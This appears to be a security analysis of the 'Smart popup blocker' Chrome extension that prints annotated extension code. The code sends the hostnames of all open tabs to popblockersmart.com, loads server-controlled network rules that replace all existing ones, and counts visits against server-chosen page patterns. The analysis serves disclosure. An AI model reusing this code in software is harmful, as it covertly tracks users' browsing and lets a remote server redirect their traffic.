Is Smart popup blocker safe?

async function replaceNetworkRules(serverResponse) {  try {    const rulesUrl = serverResponse["IxSE"];       // URL of rules JSON — server-controlled    const serverVersion = serverResponse["uhML"];   // version number    const versionKey = 'net_item_uhML';    const stored = await chrome.storage.local.get([versionKey]);    if (stored[versionKey] !== undefined && stored[versionKey] >= serverVersion) {      return;  // already at this version, skip    }    const rulesPayload = await (await fetch(rulesUrl)).json();  // fetch from server-controlled URL    const existingRules = await chrome.declarativeNetRequest.getDynamicRules();    const existingIds = existingRules.map(r => r.id);    // Remove ALL existing dynamic rules and replace with server-provided ones    await chrome.declarativeNetRequest.updateDynamicRules({      removeRuleIds: existingIds,      addRules: rulesPayload    });    await chrome.storage.local.set({ [versionKey]: serverVersion });  } catch (e) {}}

async function M() {  const hostnames = [];  const tabs = await chrome.tabs.query({});  // all open tabs, all windows  for (const tab of tabs) {    try {      const url = new URL(tab.url);      const hostname = url.hostname;      if (!hostnames.includes(hostname)) {        hostnames.push(hostname);      }    } catch (e) {}  }  // constructs: https://popblockersmart.com/register_install/?crx=<runtimeId>&d=<hostnames>&tc=<tabCount>  return `${baseUrl()}/register_install/?crx=${chrome.runtime.id}&d=${hostnames.join(",")}&tc=${tabs.length}`;}

(async function() {  const { _sw_s_fGyG_p1: p1, _sw_s_fGyG_p2: p2, _sw_s_fGyG_p3: path } =    await chrome.storage.local.get(['_sw_s_fGyG_p1', '_sw_s_fGyG_p2', '_sw_s_fGyG_p3']);  if (!p1 || !p2 || !path) return;  // tracking not configured  // Signal service worker if this page matches server-chosen patterns  if ((location.hostname.startsWith(p1) || location.hostname.startsWith(p2))      && location.pathname === path) {    chrome.runtime.sendMessage({ _sw_s_fGyG: 1 });  }})();

function incrementVisitCounter() {  pendingCount++;  // accumulate  if (!debounceActive) {    const timer = setTimeout(() => {      chrome.storage.local.get({ gcnt: 0 }, (stored) => {        let newTotal = stored.gcnt + pendingCount;        chrome.storage.local.set({ gcnt: newTotal })          .then(() => { updateUninstallUrl(); })  // gcnt appended to uninstall URL          .catch(() => {});        pendingCount = 0;      });      debounceActive = false;    }, 5000);  // batch for 5 seconds    debounceActive = true;  }}